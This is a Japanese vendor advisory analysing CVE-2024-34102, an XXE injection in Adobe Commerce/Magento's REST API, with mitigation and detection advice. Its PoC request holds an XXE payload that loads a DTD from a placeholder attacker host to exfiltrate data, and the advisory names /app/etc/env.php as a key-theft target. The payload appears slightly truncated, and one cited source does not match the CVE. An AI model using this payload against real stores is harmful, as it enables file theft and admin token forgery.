TAチームによる "Adobe Commerce & Magento XML External Entity(XXE) Injection "の分析による脆弱性レポート。
Adobe Commerce & Magento XML External Entity(XXE) インジェクション
この脆弱性は、Adobe Commerce の Magento に存在する XML External Entities(XXE) Injection の脆弱性で、REST API を通じて脆弱なクラスに悪意のある XML データを挿入することで、内部ファイルへのアクセスや任意のコマンドを実行される可能性があります。
この脆弱性は、Adobe 社が 2024 年 6 月にリリースしたセキュリティパッチを適用することで対処可能であり、通常、当社の AIWAF 製品では、XML External Entities (XXE) Injection 攻撃を検出するパターンによって検出されます。
1. 概要
アドビが支援するeコマース・プラットフォームであるアドビコマースは、オープンソースのMagentoを活用してeコマース・ソリューションを提供しており、現在、上位10万サイトの1.12%にあたる約12万サイトが利用している。
ソース: https://trends.builtwith.com/shop/Magento
このサービスで見つかった多くの脆弱性の中で、最近発表されたXML外部オブジェクト・インジェクションの脆弱性CVE-2024-34102を分析した。
ソース: https://thehackernews.com/2022/02/critical-magento-0-day-vulnerability.html
2. 攻撃プロセス
2024年6月、AdobeはAdobe CommerceとMagentoのいくつかのセキュリティ問題に対するパッチをリリースし、その後、そのパッチの中でCVE-2024-34102に対する孤立したパッチをリリースした。
Magento は HTTP PHP サーバーアプリケーションで、ユーザーインターフェイスと API の両方を提供します。API は REST 形式でも提供されており、Magento はこれらの REST API リクエストを次のように解釈します。
例を見る :
POST /rest/default/V1/carts/mine/estimate-shipping-methods HTTP/1.1
Host: foo.example
Content-Type : application/json
Content-Length: 1402
{
"address": {
"data": [1, 2, 3],
"BaseShippingAmount" : 123
}
}
- JSONのフィールドがクラス・コンストラクタの変数名と一致する場合、そのフィールドを引数として渡します。
- 名前が一致しない場合は、セットという名前のクラスのフィールドかメソッドに移動する。
上のリクエストのフィールドデータを見ると、Addressクラスのコンストラクタは配列の形のデータ変数を持っているので、そのデータを渡します。
そして、クラスがインスタンス化された後、格納されたデータ変数にアクセスするいくつかのメソッドが呼び出されます。
しかし、これらの操作はすべてのパラメータに対して再帰的に行われるため、開発者が意図しないシリアライズ可能なクラスをインスタンス化してしまう可能性がある。
この脆弱性を分析した Assetnote によると、Magento の SimpleXMLElement クラスを使ったデシリアライズ RCE 攻撃が可能で、さらに調査を進めると、/rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods の sourceData パラメータに悪意のある XML データを送信することで、SimpleXMLElement クラスにアクセスし、インスタンス化できることが確認されました。
PoC :
POST /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods HTTP/2
Host: example.com
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 274
{
"address": {
"totalsReader": {
"collectorList": {
"totalCollector": {
"sourceData": {
"data": "<?xml version=\"1.0\" ?> <!ENTITY % sp SYSTEM \"http://your_ip:9999/dtd.xml\"> %sp; %param1; ]> <r>&exfil;</r>",
"options": 16
}
}
}
}
}
}
この脆弱性は以下の攻撃を可能にする。
- 認証用のJWTトークンを生成するために使われるキー値を保存している/app/etc/env.phpファイルにアクセスし、キー値を乗っ取って任意のadmin JWTトークンを生成することができます。
- RCE攻撃は、CVE-2024-2961の脆弱性と組み合わせて実行することができる。
- 任意のローカルファイルにアクセスしたり、リモートURLの内容を取得することができる。
3. 何をすべきか
Adobe社はこの脆弱性に対するセキュリティパッチをリリースしていますので、パッチを適用することで脆弱性を緩和することができます。
弊社のAIWAF製品は、XML External Entity(XXE)インジェクション攻撃を検知するパターン「409: XML External Entity」を通常通り検知しています。
4. 結論
コマースプラットフォームとして広く利用されているMagento by Adobe Commerceに見つかった脆弱性は、単純な攻撃構文で大きな被害をもたらす可能性があるものであり、先日リリースされたセキュリティパッチを適用する必要があります。
当社のAIWAF製品は、Magento by Adobe Commerceの脆弱性に対応するパターンを開発しており、今後も関連する脆弱性が発見された場合には迅速に対応していく。